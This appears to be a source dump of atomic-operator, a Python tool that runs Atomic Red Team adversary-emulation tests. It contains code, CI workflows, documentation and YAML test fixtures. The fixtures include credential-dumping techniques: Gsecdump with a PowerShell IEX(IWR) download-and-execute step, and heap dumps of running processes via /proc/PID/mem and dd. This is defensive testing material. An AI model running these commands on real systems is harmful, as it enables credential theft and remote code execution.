actions/checkout@v3.3.0 15 | - uses: actions/setup-python@v4 16 | with: 17 | python-version: ${{ matrix.python-version }} 18 | - name: Run image 19 | uses: abatilo/actions-poetry@v2.2.0 20 | with: 21 | poetry-version: ${{ matrix.poetry-version }} 22 | - name: Install dependencies 23 | run: | 24 | poetry run pip install --upgrade pip 25 | poetry install 26 | - name: Run black 27 | run: poetry run black ./atomic_operator --line-length 120 28 | - name: Run isort 29 | run: poetry run isort ./atomic_operator --check-only --profile "black" 30 | # - name: Run flake8 31 | # run: poetry run flake8 ./pyattck 32 | # - name: Run bandit 33 | # run: poetry run bandit ./atomic_operator 34 | # - name: Run saftey 35 | # run: poetry run safety check --ignore=47794 36 | test: 37 | needs: code-quality 38 | strategy: 39 | fail-fast: false 40 | matrix: 41 | python-version: ['3.8', '3.9', '3.10'] 42 | poetry-version: ["1.3.2"] 43 | os: [ubuntu-latest,macos-latest,windows-latest] 44 | runs-on: ${{ matrix.os }} 45 | steps: 46 | - uses: actions/checkout@v3.3.0 47 | - uses: actions/setup-python@v4 48 | with: 49 | python-version: ${{ matrix.python-version }} 50 | - name: Run image 51 | uses: abatilo/actions-poetry@v2.2.0 52 | with: 53 | poetry-version: ${{ matrix.poetry-version }} 54 | - name: Install dependencies 55 | run: | 56 | poetry run pip install --upgrade pip 57 | poetry run pip install --upgrade setuptools 58 | poetry install 59 | - name: Run tests 60 | run: poetry run coverage run -m pytest && poetry run coverage report 61 | - name: Upload coverage to Codecov 62 | uses: codecov/codecov-action@v1 63 | -------------------------------------------------------------------------------- /docs/CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # CHANGELOG 2 | 3 | ## 0.8.4 - 2022-03-25 4 | 5 | * Updated formatting of executor for AWS and local runners 6 | * Updated documentation 7 | * Added formatting constants to base class to improve updating of windows variables on command line runners 8 | 9 | ## 0.7.0 - 2022-01-04 10 | 11 | * Updated argument handling in get_atomics Retrieving Atomic Tests with specified destination in /opt throws unexpected keyword argument error #28 12 | * Updated error catching and logging within state machine class when copying source files to remote system Logging and troubleshooting question #32 13 | * Updated ConfigParser from instance variables to local method bound variables Using a second AtomicOperator instance executes the tests of the first instance too #33 14 | * Added the ability to select specific tests for one or more provided techniques 15 | * Updated documentation 16 | * Added new Copier class to handle file transfer for remote connections 17 | * Removed gathering of supporting_files and passing around with object 18 | * Added new config_file_only parameter to only run the defined configuration within a configuration file 19 | * Updated documentation around installation on macOS systems with M1 processors 20 | 21 | ## 0.6.0 - 2021-12-17 22 | 23 | * Updated documentation 24 | * Added better handling of help 25 | 26 | ## 0.5.1 - 2021-11-18 27 | 28 | * Updating handling of passing --help to the run command 29 | * Updated docs to reflect change 30 | 31 | ## 0.5.0 - 2021-11-18 32 | 33 | * Updated handling of versioning 34 | * Updated CI to handle versioning of docs and deployment on release 35 | * Added better handling of extracting zip file 36 | * Added safer loading of yaml files 37 | * Update docs 38 | * Improved logging across the board and implemented a debug switch 39 | 40 | ## 0.4.0 - 2021-11-15 41 | 42 | * Added support for transferring files during remote execution 43 | * Refactored config handling 44 | * Updated docs and githubpages 45 | 46 | ## 0.2.0 - 2021-10-05 47 | 48 | * Added support for remote execution of atomic-tests 49 | * Added support for executing iaas:aws tests 50 | * Added configuration support 51 | * Plus many other features 52 | 53 | ## 0.0.1 - 2021-07-26 54 | 55 | * Initial release 56 | -------------------------------------------------------------------------------- /.github/workflows/main.yml: -------------------------------------------------------------------------------- 1 | name: Release 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | permissions: 8 | contents: write 9 | pull-requests: write 10 | jobs: 11 | release: 12 | name: Release 13 | runs-on: ubuntu-latest 14 | steps: 15 | - uses: google-github-actions/release-please-action@v4 16 | id: release 17 | with: 18 | release-type: python 19 | package-name: atomic-operator 20 | bump-patch-for-minor-pre-major: true 21 | include-v-in-tag: false 22 | # The logic below handles the PyPi distribution: 23 | - uses: actions/checkout@v3 24 | # these if statements ensure that a publication only occurs when 25 | # a new release is created: 26 | if: ${{ steps.release.outputs.release_created }} 27 | - name: Set up Python 28 | uses: actions/setup-python@v4 29 | with: 30 | python-version: "3.10" 31 | if: ${{ steps.release.outputs.release_created }} 32 | - name: Set up poetry 33 | uses: abatilo/actions-poetry@v2.3.0 34 | with: 35 | poetry-version: 1.7.1 36 | if: ${{ steps.release.outputs.release_created }} 37 | - name: Publish 38 | run: | 39 | poetry config http-basic.pypi "${{ secrets.PYPI_USERNAME }}" "${{ secrets.PYPI_PASSWORD }}" 40 | poetry publish --build 41 | if: ${{ steps.release.outputs.release_created }} 42 | - name: Set release tag 43 | run: | 44 | export RELEASE_TAG_VERSION=${{ github.event.release.tag_name }} 45 | echo "RELEASE_TAG_VERSION=${RELEASE_TAG_VERSION:1}" >> $GITHUB_ENV 46 | if: ${{ steps.release.outputs.release_created }} 47 | - name: Setup doc deploy 48 | run: | 49 | git config --global user.name Docs deploy 50 | git config --global user.email docs@dummy.bot.com 51 | if: ${{ steps.release.outputs.release_created }} 52 | - name: Install dependencies 53 | run: | 54 | git fetch origin gh-pages --depth=1 55 | git config user.name github-actions 56 | git config user.email github-actions@github.com 57 | poetry install mkdocs-material mike 58 | poetry run mike deploy --push --update-aliases ${RELEASE_TAG_VERSION} latest 59 | if: ${{ steps.release.outputs.release_created }} 60 | -------------------------------------------------------------------------------- /atomic_operator/atomic/atomictest.py: -------------------------------------------------------------------------------- 1 | import typing 2 | 3 | import attr 4 | 5 | 6 | @attr.s 7 | class AtomicTestInput: 8 | name = attr.ib() 9 | description = attr.ib() 10 | type = attr.ib() 11 | default = attr.ib() 12 | value = attr.ib(default=None) 13 | source = attr.ib(default=None) 14 | destination = attr.ib(default=None) 15 | 16 | 17 | @attr.s 18 | class AtomicExecutor: 19 | name = attr.ib() 20 | command = attr.ib() 21 | cleanup_command = attr.ib(default=None) 22 | elevation_required = attr.ib(default=False) 23 | steps = attr.ib(default=None) 24 | 25 | 26 | @attr.s 27 | class AtomicDependency: 28 | description = attr.ib() 29 | get_prereq_command = attr.ib(default=None) 30 | prereq_command = attr.ib(default=None) 31 | 32 | 33 | @attr.s 34 | class AtomicTest: 35 | """A single Atomic test object structure 36 | 37 | Returns: 38 | AtomicTest: A single Atomic test object 39 | """ 40 | 41 | name = attr.ib() 42 | description = attr.ib() 43 | supported_platforms = attr.ib() 44 | auto_generated_guid = attr.ib() 45 | executor = attr.ib() 46 | input_arguments = attr.ib(default=None) 47 | dependency_executor_name = attr.ib(default=None) 48 | dependencies: typing.List[AtomicDependency] = attr.ib(default=[]) 49 | 50 | def __attrs_post_init__(self): 51 | if self.input_arguments: 52 | temp_list = [] 53 | for key, val in self.input_arguments.items(): 54 | argument_dict = {} 55 | argument_dict = val 56 | argument_dict.update({"name": key, "value": val.get("default")}) 57 | temp_list.append(AtomicTestInput(**argument_dict)) 58 | self.input_arguments = temp_list 59 | if self.executor: 60 | executor_dict = self.executor 61 | if executor_dict.get("name") == "manual": 62 | if not executor_dict.get("command"): 63 | executor_dict["command"] = "" 64 | self.executor = AtomicExecutor(**executor_dict) 65 | executor_dict = None 66 | else: 67 | self.executor = [] 68 | if self.dependencies: 69 | dependency_list = [] 70 | for dependency in self.dependencies: 71 | dependency_list.append(AtomicDependency(**dependency)) 72 | self.dependencies = dependency_list 73 | -------------------------------------------------------------------------------- /images/macos_support.svg: -------------------------------------------------------------------------------- 1 | python - macOSpython - macOS3.6, 3.7, 3.8, 3.93.6, 3.7, 3.8, 3.9 -------------------------------------------------------------------------------- /images/ubuntu_support.svg: -------------------------------------------------------------------------------- 1 | python - Ubuntupython - Ubuntu3.6, 3.7, 3.8, 3.93.6, 3.7, 3.8, 3.9 -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | errors.log 10 | info.log 11 | warning.log 12 | debug.log 13 | 14 | .DS_Store 15 | redcanaryco-atomic-red-team-* 16 | node_modules 17 | 18 | # Distribution / packaging 19 | .Python 20 | build/ 21 | develop-eggs/ 22 | dist/ 23 | downloads/ 24 | eggs/ 25 | .eggs/ 26 | lib/ 27 | lib64/ 28 | parts/ 29 | sdist/ 30 | var/ 31 | wheels/ 32 | pip-wheel-metadata/ 33 | share/python-wheels/ 34 | *.egg-info/ 35 | .installed.cfg 36 | *.egg 37 | MANIFEST 38 | 39 | # PyInstaller 40 | # Usually these files are written by a python script from a template 41 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 42 | *.manifest 43 | *.spec 44 | 45 | # Installer logs 46 | pip-log.txt 47 | pip-delete-this-directory.txt 48 | 49 | # Unit test / coverage reports 50 | htmlcov/ 51 | .tox/ 52 | .nox/ 53 | .coverage 54 | .coverage.* 55 | .cache 56 | nosetests.xml 57 | coverage.xml 58 | *.cover 59 | *.py,cover 60 | .hypothesis/ 61 | .pytest_cache/ 62 | 63 | # Translations 64 | *.mo 65 | *.pot 66 | 67 | # Django stuff: 68 | *.log 69 | local_settings.py 70 | db.sqlite3 71 | db.sqlite3-journal 72 | 73 | # Flask stuff: 74 | instance/ 75 | .webassets-cache 76 | 77 | # Scrapy stuff: 78 | .scrapy 79 | 80 | # Sphinx documentation 81 | docs/_build/ 82 | 83 | # PyBuilder 84 | target/ 85 | 86 | # Jupyter Notebook 87 | .ipynb_checkpoints 88 | 89 | # IPython 90 | profile_default/ 91 | ipython_config.py 92 | 93 | # pyenv 94 | .python-version 95 | 96 | # pipenv 97 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 98 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 99 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 100 | # install all needed dependencies. 101 | #Pipfile.lock 102 | 103 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 104 | __pypackages__/ 105 | 106 | # Celery stuff 107 | celerybeat-schedule 108 | celerybeat.pid 109 | 110 | # SageMath parsed files 111 | *.sage.py 112 | 113 | # Environments 114 | .env 115 | .venv 116 | env/ 117 | venv/ 118 | ENV/ 119 | env.bak/ 120 | venv.bak/ 121 | 122 | # Spyder project settings 123 | .spyderproject 124 | .spyproject 125 | 126 | # Rope project settings 127 | .ropeproject 128 | 129 | # mkdocs documentation 130 | /site 131 | 132 | # mypy 133 | .mypy_cache/ 134 | .dmypy.json 135 | dmypy.json 136 | 137 | # Pyre type checker 138 | .pyre/ 139 | -------------------------------------------------------------------------------- /images/windows_support.svg: -------------------------------------------------------------------------------- 1 | python - Windowspython - Windows3.6, 3.7, 3.8, 3.93.6, 3.7, 3.8, 3.9 -------------------------------------------------------------------------------- /atomic_operator/atomic/loader.py: -------------------------------------------------------------------------------- 1 | import os 2 | from pathlib import Path, PurePath 3 | 4 | import yaml 5 | 6 | from ..base import Base 7 | from ..utils.exceptions import AtomicsFolderNotFound 8 | from .atomic import Atomic 9 | 10 | 11 | class Loader(Base): 12 | __techniques = {} 13 | TECHNIQUE_DIRECTORY_PATTERN = "T*" 14 | 15 | def __get_file_name(self, path) -> str: 16 | return path.name.rstrip(".yaml") 17 | 18 | def find_atomics(self, atomics_path, pattern="**/T*/T*.yaml") -> list: 19 | """Attempts to find the atomics folder within the provided atomics_path 20 | 21 | Args: 22 | atomics_path (str): A path to the atomic-red-team directory 23 | pattern (str, optional): Pattern used to find atomics and their required yaml files. Defaults to '**/T*/T*.yaml'. 24 | 25 | Returns: 26 | list: A list of paths of all identified atomics found in the given directory 27 | """ 28 | result = [] 29 | path = PurePath(atomics_path) 30 | for p in Path(path).rglob(pattern): 31 | result.append(p.resolve()) 32 | return result 33 | 34 | def load_technique(self, path_to_dir) -> dict: 35 | """Loads a provided yaml file which is typically an Atomic defintiion or configuration file. 36 | 37 | Args: 38 | path_to_dir (str): A string path to a yaml formatted file 39 | 40 | Returns: 41 | dict: Returns the loaded yaml file in a dictionary format 42 | """ 43 | try: 44 | with open(self.get_abs_path(path_to_dir), "r", encoding="utf-8") as f: 45 | return yaml.safe_load(f.read()) 46 | except: 47 | self.__logger.warning(f"Unable to load technique in '{path_to_dir}'") 48 | 49 | try: 50 | # windows does not like get_abs_path so casting to string 51 | with open(str(path_to_dir), "r", encoding="utf-8") as f: 52 | return yaml.safe_load(f.read()) 53 | except OSError as oe: 54 | self.__logger.warning(f"Unable to load technique in '{path_to_dir}': {oe}") 55 | 56 | def load_techniques(self) -> dict: 57 | """The main entrypoint when loading techniques from disk. 58 | 59 | Raises: 60 | AtomicsFolderNotFound: Thrown when unable to find the folder containing 61 | Atomic tests 62 | 63 | Returns: 64 | dict: A dict with the key(s) as the Atomic technique ID and the val 65 | is a list of Atomic objects. 66 | """ 67 | atomics_path = Base.CONFIG.atomics_path 68 | if not os.path.exists(self.get_abs_path(atomics_path)): 69 | atomics_path = self.find_atomics(self.get_abs_path(__file__)) 70 | if not atomics_path: 71 | raise AtomicsFolderNotFound("Unable to find any atomics folder") 72 | else: 73 | atomics_path = self.find_atomics(atomics_path) 74 | if not atomics_path: 75 | raise AtomicsFolderNotFound("Unable to find any atomics folder") 76 | 77 | for atomic_entry in atomics_path: 78 | technique = self.__get_file_name(atomic_entry) 79 | if not self.__techniques.get(technique): 80 | loaded_technique = self.load_technique(str(atomic_entry)) 81 | if loaded_technique: 82 | loaded_technique.update({"path": os.path.dirname(str(atomic_entry))}) 83 | self.__techniques[technique] = Atomic(**loaded_technique) 84 | return self.__techniques 85 | -------------------------------------------------------------------------------- /docs/atomic-operator-config.md: -------------------------------------------------------------------------------- 1 | # Configuration 2 | 3 | One feature of `atomic-operator` is the ability to automate running of Atomics even further via a configuration file. The configuration file supports many different layouts for configuration but the major features are: 4 | 5 | * Define one or more Atomic tests by GUID 6 | * You can provide values for any defined input arguments for an Atomic test 7 | * You can assign an Atomic test to one or more `inventory` objects 8 | * Define none, one, or more `inventory` objects 9 | * An inventory is a collection of authentication properties as well as hosts associated with said authentication credentials 10 | 11 | With this structure you can create an inventory group of 1 or 100 hosts using a set of credentials and tell `atomic-operator` to run 1 or more tests with defined inputs against those hosts - infinitely flexible. 12 | 13 | Below is an example of all of these features implemented in a configuration file. 14 | 15 | ```yaml 16 | inventory: 17 | windows1: 18 | executor: powershell # or cmd 19 | authentication: 20 | username: username 21 | password: some_passowrd! 22 | verify_ssl: false 23 | hosts: 24 | - 192.168.1.1 25 | - 10.32.1.1 26 | # etc 27 | linux1: 28 | executor: ssh 29 | authentication: 30 | username: username 31 | password: some_passowrd! 32 | #ssk_key_path: 33 | port: 22 34 | timeout: 5 35 | hosts: 36 | - 192.168.1.1 37 | - 10.32.100.1 38 | # etc. 39 | atomic_tests: 40 | - guid: f7e6ec05-c19e-4a80-a7e7-241027992fdb 41 | input_arguments: 42 | output_file: 43 | value: custom_output.txt 44 | input_file: 45 | value: custom_input.txt 46 | inventories: 47 | - windows1 48 | - guid: 3ff64f0b-3af2-3866-339d-38d9791407c3 49 | input_arguments: 50 | second_arg: 51 | value: SWAPPPED argument 52 | inventories: 53 | - windows1 54 | - linux1 55 | - guid: c141bbdb-7fca-4254-9fd6-f47e79447e17 56 | inventories: 57 | - linux1 58 | ``` 59 | 60 | At the basic level of the configuration file you can simply just have one that defines a set of Atomic tests you want to run like so: 61 | 62 | ```yaml 63 | atomic_tests: 64 | - guid: f7e6ec05-c19e-4a80-a7e7-241027992fdb 65 | - guid: 3ff64f0b-3af2-3866-339d-38d9791407c3 66 | - guid: c141bbdb-7fca-4254-9fd6-f47e79447e17 67 | ``` 68 | 69 | You can also specify input variable values for one or more of them: 70 | 71 | ```yaml 72 | atomic_tests: 73 | - guid: f7e6ec05-c19e-4a80-a7e7-241027992fdb 74 | input_arguments: 75 | output_file: 76 | value: custom_output.txt 77 | input_file: 78 | value: custom_input.txt 79 | - guid: 3ff64f0b-3af2-3866-339d-38d9791407c3 80 | - guid: c141bbdb-7fca-4254-9fd6-f47e79447e17 81 | ``` 82 | 83 | But if you want to run them remotely then you must add in `inventory` objects with the correct credentials and one or more hosts: 84 | 85 | ```yaml 86 | inventory: 87 | windows1: 88 | executor: powershell # or cmd 89 | authentication: 90 | username: username 91 | password: some_passowrd! 92 | verify_ssl: false 93 | hosts: 94 | - 192.168.1.1 95 | - 10.32.1.1 96 | atomic_tests: 97 | - guid: f7e6ec05-c19e-4a80-a7e7-241027992fdb 98 | input_arguments: 99 | output_file: 100 | value: custom_output.txt 101 | input_file: 102 | value: custom_input.txt 103 | inventories: 104 | - windows1 105 | - guid: 3ff64f0b-3af2-3866-339d-38d9791407c3 106 | - guid: c141bbdb-7fca-4254-9fd6-f47e79447e17 107 | ``` 108 | -------------------------------------------------------------------------------- /atomic_operator/execution/localrunner.py: -------------------------------------------------------------------------------- 1 | import os 2 | import subprocess 3 | 4 | from .runner import Runner 5 | 6 | 7 | class LocalRunner(Runner): 8 | """Runs AtomicTest objects locally""" 9 | 10 | def __init__(self, atomic_test, test_path): 11 | """A single AtomicTest object is provided and ran on the local system 12 | 13 | Args: 14 | atomic_test (AtomicTest): A single AtomicTest object. 15 | test_path (Atomic): A path where the AtomicTest object resides 16 | """ 17 | self.test = atomic_test 18 | self.test_path = test_path 19 | self.__local_system_platform = self.get_local_system_platform() 20 | 21 | def execute_process(self, command, executor=None, host=None, cwd=None, elevation_required=False): 22 | """Executes commands using subprocess 23 | 24 | Args: 25 | executor (str): An executor or shell used to execute the provided command(s) 26 | command (str): The commands to run using subprocess 27 | cwd (str): A string which indicates the current working directory to run the command 28 | elevation_required (bool): Whether or not elevation is required 29 | 30 | Returns: 31 | tuple: A tuple of either outputs or errors from subprocess 32 | """ 33 | if elevation_required: 34 | if executor in ["powershell"]: 35 | command = f"Start-Process PowerShell -Verb RunAs; {command}" 36 | elif executor in ["cmd", "command_prompt"]: 37 | command = f'cmd.exe /c "{command}"' 38 | elif executor in ["sh", "bash", "ssh"]: 39 | command = f"sudo {command}" 40 | else: 41 | self.__logger.warning(f"Elevation is required but the executor '{executor}' is unknown!") 42 | command = self._replace_command_string( 43 | command, self.CONFIG.atomics_path, input_arguments=self.test.input_arguments, executor=executor 44 | ) 45 | executor = self.command_map.get(executor).get(self.__local_system_platform) 46 | p = subprocess.Popen( 47 | executor, 48 | shell=False, 49 | stdin=subprocess.PIPE, 50 | stdout=subprocess.PIPE, 51 | stderr=subprocess.STDOUT, 52 | env=os.environ, 53 | cwd=cwd, 54 | ) 55 | try: 56 | outs, errs = p.communicate(bytes(command, "utf-8") + b"\n", timeout=Runner.CONFIG.command_timeout) 57 | response = self.print_process_output(command, p.returncode, outs, errs) 58 | return response 59 | except subprocess.TimeoutExpired as e: 60 | # Display output if it exists. 61 | if e.output: 62 | self.__logger.warning(e.output) 63 | if e.stdout: 64 | self.__logger.warning(e.stdout) 65 | if e.stderr: 66 | self.__logger.warning(e.stderr) 67 | self.__logger.warning("Command timed out!") 68 | 69 | # Kill the process. 70 | p.kill() 71 | return {} 72 | 73 | def _get_executor_command(self): 74 | """Checking if executor works with local system platform""" 75 | __executor = None 76 | self.__logger.debug(f"Checking if executor works on local system platform.") 77 | if self.__local_system_platform in self.test.supported_platforms: 78 | if self.test.executor.name != "manual": 79 | __executor = self.command_map.get(self.test.executor.name).get(self.__local_system_platform) 80 | return __executor 81 | 82 | def start(self): 83 | return self.execute(executor=self.test.executor.name) 84 | -------------------------------------------------------------------------------- /tests/data/test_atomic2.yml: -------------------------------------------------------------------------------- 1 | attack_technique: T1003 2 | display_name: OS Credential Dumping 3 | atomic_tests: 4 | 5 | - name: Gsecdump 6 | auto_generated_guid: 96345bfc-8ae7-4b6a-80b7-223200f24ef9 7 | description: | 8 | Dump credentials from memory using Gsecdump. 9 | 10 | Upon successful execution, you should see domain\username's following by two 32 characters hashes. 11 | 12 | If you see output that says "compat: error: failed to create child process", execution was likely blocked by Anti-Virus. 13 | You will receive only error output if you do not run this test from an elevated context (run as administrator) 14 | 15 | If you see a message saying "The system cannot find the path specified", try using the get-prereq_commands to download and install Gsecdump first. 16 | supported_platforms: 17 | - windows 18 | input_arguments: 19 | gsecdump_exe: 20 | description: Path to the Gsecdump executable 21 | type: Path 22 | default: PathToAtomicsFolder\T1003\bin\gsecdump.exe 23 | gsecdump_bin_hash: 24 | description: File hash of the Gsecdump binary file 25 | type: string 26 | default: 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC 27 | gsecdump_url: 28 | description: Path to download Gsecdump binary file 29 | type: Url 30 | default: https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe 31 | dependency_executor_name: powershell 32 | dependencies: 33 | - description: | 34 | Gsecdump must exist on disk at specified location (#{gsecdump_exe}) 35 | prereq_command: | 36 | write-host "if (Test-Path #{gsecdump_exe}) {exit 0} else {exit 1}" 37 | get_prereq_command: | 38 | write-host "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 39 | $parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe" 40 | IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1") 41 | if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){ 42 | Move-Item $binpath "#{gsecdump_exe}" 43 | }" 44 | executor: 45 | command: | 46 | write-host "#{gsecdump_exe} -a" 47 | name: command_prompt 48 | elevation_required: true 49 | 50 | - name: Dump individual process memory with sh (Local) 51 | auto_generated_guid: 7e91138a-8e74-456d-a007-973d67a0bb80 52 | description: | 53 | Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to 54 | copy process memory to an external file so it can be searched or exfiltrated later. 55 | 56 | supported_platforms: 57 | - linux 58 | 59 | input_arguments: 60 | output_file: 61 | description: Path where captured results will be placed 62 | type: Path 63 | default: /tmp/T1003.007.bin 64 | script_path: 65 | description: Path to script generating the target process 66 | type: Path 67 | default: /tmp/T1003.007.sh 68 | pid_term: 69 | description: Unique string to use to identify target process 70 | type: string 71 | default: T1003.007 72 | 73 | dependencies: 74 | - description: | 75 | Script to launch target process must exist 76 | prereq_command: | 77 | echo "test -f #{script_path}" 78 | echo "grep "#{pid_term}" #{script_path}" 79 | get_prereq_command: | 80 | echo '#!/bin/sh' > #{script_path} 81 | echo 'The password is #{pid_term}\ sleep 30 #{script_path}' 82 | 83 | executor: 84 | name: sh 85 | elevation_required: true 86 | command: | 87 | echo "#{script_path}" 88 | echo "mem of="#{output_file}"" 89 | cleanup_command: | 90 | echo "removing #{output_file}" -------------------------------------------------------------------------------- /tests/data/test_atomic.yml: -------------------------------------------------------------------------------- 1 | --- 2 | attack_technique: T1003.007 3 | display_name: 'OS Credential Dumping: Proc Filesystem' 4 | atomic_tests: 5 | - name: Dump individual process memory with sh (Local) 6 | auto_generated_guid: 7e91138a-8e74-456d-a007-973d67a0bb80 7 | description: | 8 | Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to 9 | copy process memory to an external file so it can be searched or exfiltrated later. 10 | 11 | supported_platforms: 12 | - linux 13 | 14 | input_arguments: 15 | output_file: 16 | description: Path where captured results will be placed 17 | type: Path 18 | default: /tmp/T1003.007.bin 19 | script_path: 20 | description: Path to script generating the target process 21 | type: Path 22 | default: /tmp/T1003.007.sh 23 | pid_term: 24 | description: Unique string to use to identify target process 25 | type: string 26 | default: T1003.007 27 | 28 | dependencies: 29 | - description: | 30 | Script to launch target process must exist 31 | prereq_command: | 32 | test -f #{script_path} 33 | grep "#{pid_term}" #{script_path} 34 | get_prereq_command: | 35 | echo '#!/bin/sh' > #{script_path} 36 | echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path} 37 | 38 | executor: 39 | name: sh 40 | elevation_required: true 41 | command: | 42 | sh #{script_path} 43 | PID=$(pgrep -n -f "#{pid_term}") 44 | HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1) 45 | MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1)))) 46 | MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2)))) 47 | MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START))) 48 | dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE" 49 | grep -i "PASS" "#{output_file}" 50 | cleanup_command: | 51 | rm -f "#{output_file}" 52 | 53 | - name: Dump individual process memory with Python (Local) 54 | auto_generated_guid: 437b2003-a20d-4ed8-834c-4964f24eec63 55 | description: | 56 | Using `/proc/$PID/mem`, where $PID is the target process ID, use a Python script to 57 | copy a process's heap memory to an external file so it can be searched or exfiltrated later. 58 | 59 | supported_platforms: 60 | - linux 61 | 62 | input_arguments: 63 | output_file: 64 | description: Path where captured results will be placed 65 | type: Path 66 | default: /tmp/T1003.007.bin 67 | script_path: 68 | description: Path to script generating the target process 69 | type: Path 70 | default: /tmp/T1003.007.sh 71 | python_script: 72 | description: Path to script generating the target process 73 | type: Path 74 | default: PathToAtomicsFolder/T1003.007/src/dump_heap.py 75 | pid_term: 76 | description: Unique string to use to identify target process 77 | type: string 78 | default: T1003.007 79 | 80 | dependencies: 81 | - description: | 82 | Script to launch target process must exist 83 | prereq_command: | 84 | test -f #{script_path} 85 | grep "#{pid_term}" #{script_path} 86 | get_prereq_command: | 87 | echo '#!/bin/sh' > #{script_path} 88 | echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path} 89 | - description: | 90 | Requires Python 91 | prereq_command: | 92 | (which python || which python3 || which python2) 93 | get_prereq_command: | 94 | echo "Python 2.7+ or 3.4+ must be installed" 95 | 96 | executor: 97 | name: sh 98 | elevation_required: true 99 | command: | 100 | sh #{script_path} 101 | PID=$(pgrep -n -f "#{pid_term}") 102 | PYTHON=$(which python || which python3 || which python2) 103 | $PYTHON #{python_script} $PID #{output_file} 104 | grep -i "PASS" "#{output_file}" 105 | cleanup_command: | 106 | rm -f "#{output_file}" 107 | -------------------------------------------------------------------------------- /atomic_operator/execution/awsrunner.py: -------------------------------------------------------------------------------- 1 | import os 2 | import subprocess 3 | 4 | from .base import ExecutionBase 5 | 6 | 7 | class AWSRunner(ExecutionBase): 8 | """Runs AtomicTest objects against AWS using the aws-cli""" 9 | 10 | def __init__(self, atomic_test, test_path): 11 | """A single AtomicTest object is provided and ran using the aws-cli 12 | 13 | Args: 14 | atomic_test (AtomicTest): A single AtomicTest object. 15 | test_path (Atomic): A path where the AtomicTest object resides 16 | """ 17 | self.test = atomic_test 18 | self.test_path = test_path 19 | self.__local_system_platform = self.get_local_system_platform() 20 | 21 | def __check_for_aws_cli(self): 22 | self.__logger.debug("Checking to see if aws cli is installed.") 23 | response = self.execute_process(command="aws --version", executor=self._get_executor_command(), cwd=os.getcwd()) 24 | if response and response.get("error"): 25 | self.__logger.warning(response["error"]) 26 | return response 27 | 28 | def execute_process(self, command, executor=None, host=None, cwd=None, elevation_required=False): 29 | """Executes commands using subprocess 30 | 31 | Args: 32 | executor (str): An executor or shell used to execute the provided command(s) 33 | command (str): The commands to run using subprocess 34 | cwd (str): A string which indicates the current working directory to run the command 35 | elevation_required (bool): Whether or not elevation is required 36 | 37 | Returns: 38 | tuple: A tuple of either outputs or errors from subprocess 39 | """ 40 | if elevation_required: 41 | if executor in ["powershell"]: 42 | command = f"Start-Process PowerShell -Verb RunAs; {command}" 43 | elif executor in ["cmd", "command_prompt"]: 44 | command = f'{self.command_map.get(executor).get(self.__local_system_platform)} /c "{command}"' 45 | elif executor in ["sh", "bash", "ssh"]: 46 | command = f"sudo {command}" 47 | else: 48 | self.__logger.warning(f"Elevation is required but the executor '{executor}' is unknown!") 49 | command = self._replace_command_string( 50 | command, self.CONFIG.atomics_path, input_arguments=self.test.input_arguments, executor=executor 51 | ) 52 | executor = self.command_map.get(executor).get(self.__local_system_platform) 53 | p = subprocess.Popen( 54 | executor, 55 | shell=False, 56 | stdin=subprocess.PIPE, 57 | stdout=subprocess.PIPE, 58 | stderr=subprocess.STDOUT, 59 | env=os.environ, 60 | cwd=cwd, 61 | ) 62 | try: 63 | outs, errs = p.communicate(bytes(command, "utf-8") + b"\n", timeout=Runner.CONFIG.command_timeout) 64 | response = self.print_process_output(command, p.returncode, outs, errs) 65 | return response 66 | except subprocess.TimeoutExpired as e: 67 | # Display output if it exists. 68 | if e.output: 69 | self.__logger.warning(e.output) 70 | if e.stdout: 71 | self.__logger.warning(e.stdout) 72 | if e.stderr: 73 | self.__logger.warning(e.stderr) 74 | self.__logger.warning("Command timed out!") 75 | # Kill the process. 76 | p.kill() 77 | return {} 78 | 79 | def _get_executor_command(self): 80 | """Checking if executor works with local system platform""" 81 | __executor = None 82 | self.__logger.debug(f"Checking if executor works on local system platform.") 83 | if "iaas:aws" in self.test.supported_platforms: 84 | if self.test.executor.name != "manual": 85 | __executor = self.command_map.get(self.test.executor.name).get(self.__local_system_platform) 86 | return __executor 87 | 88 | def start(self): 89 | response = self.__check_for_aws_cli() 90 | if not response.get("error"): 91 | return self.execute(executor=self.test.executor.name) 92 | return response 93 | -------------------------------------------------------------------------------- /docs/running-tests-script.md: -------------------------------------------------------------------------------- 1 | # Running Atomic Tests 2 | 3 | In order to run tests using `atomic-operator` you must have one or more [atomic tests](atomics.md). 4 | 5 | ## Selecting Tests to Run 6 | 7 | By default, `atomic-operator` will run all known tests within the provided directory. 8 | 9 | ```python 10 | from atomic_operator import AtomicOperator 11 | 12 | art = AtomicOperator() 13 | 14 | print(art.run(atomics_path='my_local_folder/atomic-red-team')) 15 | ``` 16 | 17 | If you would like to specify 